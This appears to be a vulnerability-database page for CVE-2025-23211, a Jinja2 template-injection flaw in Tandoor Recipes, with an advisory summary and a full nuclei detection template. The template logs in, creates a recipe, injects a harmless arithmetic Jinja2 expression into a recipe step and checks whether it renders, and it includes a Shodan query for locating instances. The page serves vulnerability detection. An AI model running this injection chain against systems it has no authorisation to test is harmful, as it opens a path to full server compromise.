Browse / CVEs / CVE-2025-23211
CVE-2025-23211· CWE-94, CWE-1336
Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE
criticalseverity
9.9CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it
Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps.
Impact
Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation.
Fix
Upgrade to Tandoor Recipes version 1.5.24 or later.
How to confirm it
Send: GET /accounts/login/
Send: POST /accounts/login/
Positive when: status 302
Send: POST /api/recipe/
Positive when: status 201
Send: PUT /api/recipe/{{recipe_id}}/
Positive when: status 200
Send: GET /api/recipe/{{recipe_id}}/
Positive when: contains "\"instructions_markdown\"" and "{{result}}" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2025-23211 -u <target>
The full check
id: CVE-2025-23211
info:
name: Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE
author: sammiee5311
severity: critical
description: |
Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps.
impact: |
Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation.
remediation: |
Upgrade to Tandoor Recipes version 1.5.24 or later.
reference:
- https://github.com/TandoorRecipes/recipes/blob/4f9bff20c858180d0f7376de443a9fe4c123a50c/cookbook/helper/template_helper.py#L95
- https://github.com/TandoorRecipes/recipes/commit/e6087d5129cc9d0c24278948872377e66c2a2c20
- https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-r6rj-h75w-vj8v
- https://nvd.nist.gov/vuln/detail/CVE-2025-23211
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2025-23211
epss-score: 0.03666
epss-percentile: 0.89736
cwe-id: CWE-94, CWE-1336
metadata:
verified: true
max-request: 5
shodan-query: html:"Tandoor Recipes"
tags: cve,cve2025,rce,ssti,tandoor,jinja2,authenticated
variables:
num1: "{{rand_int(800000, 999999)}}"
num2: "{{rand_int(800000, 999999)}}"
result: "{{to_number(num1)*to_number(num2)}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
GET /accounts/login/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: csrf
group: 1
regex:
- 'name="csrfmiddlewaretoken" value="(.*?)"'
internal: true
- raw:
- |
POST /accounts/login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken={{csrf}}&login={{username}}&password={{password}}&remember=on&next=%2F
extractors:
- type: regex
part: header
name: csrftoken
group: 1
internal: true
regex:
- 'csrftoken=([A-Za-z0-9]+)'
matchers:
- type: status
status:
- 302
internal: true
- raw:
- |
POST /api/recipe/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-CSRFToken: {{csrftoken}}
{"name":"{{randstr}}","description":"","steps":[{"instruction":"","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""}
extractors:
- type: json
part: body
name: recipe_id
internal: true
json:
- ".id"
- type: json
part: body
name: step_id
internal: true
json:
- ".steps[0].id"
matchers:
- type: status
status:
- 201
internal: true
- raw:
- |
PUT /api/recipe/{{recipe_id}}/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-CSRFToken: {{csrftoken}}
{"id":{{recipe_id}},"name":"{{randstr}}","description":"","steps":[{"id":{{step_id}},"name":"","instruction":"\u007b\u007b({{num1}}*{{num2}})|int\u007d\u007d","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""}
matchers:
- type: status
status:
- 200
internal: true
- raw:
- |
GET /api/recipe/{{recipe_id}}/ HTTP/1.1
Host: {{Hostname}}
X-CSRFToken: {{csrftoken}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"instructions_markdown"'
- '{{result}}'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200References
- https://github.com/TandoorRecipes/recipes/blob/4f9bff20c858180d0f7376de443a9fe4c123a50c/cookbook/helper/template_helper.py#L95
- https://github.com/TandoorRecipes/recipes/commit/e6087d5129cc9d0c24278948872377e66c2a2c20
- https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-r6rj-h75w-vj8v
- https://nvd.nist.gov/vuln/detail/CVE-2025-23211
Use this check only on systems you are authorised to test. Where the data comes from